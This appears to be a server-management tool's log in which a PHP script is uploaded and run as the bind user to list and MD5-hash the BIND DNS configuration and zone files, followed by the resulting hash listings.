MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:32:26: Establishing a connection
2026-04-30 17:32:26: 

PUT: /tmp/pkp711789

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:32:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp711789; rm /tmp/pkp711789'

2026-04-30 17:32:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:34:16: Establishing a connection
2026-04-30 17:34:16: 

PUT: /tmp/pkp546902

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:34:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp546902; rm /tmp/pkp546902'

2026-04-30 17:34:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
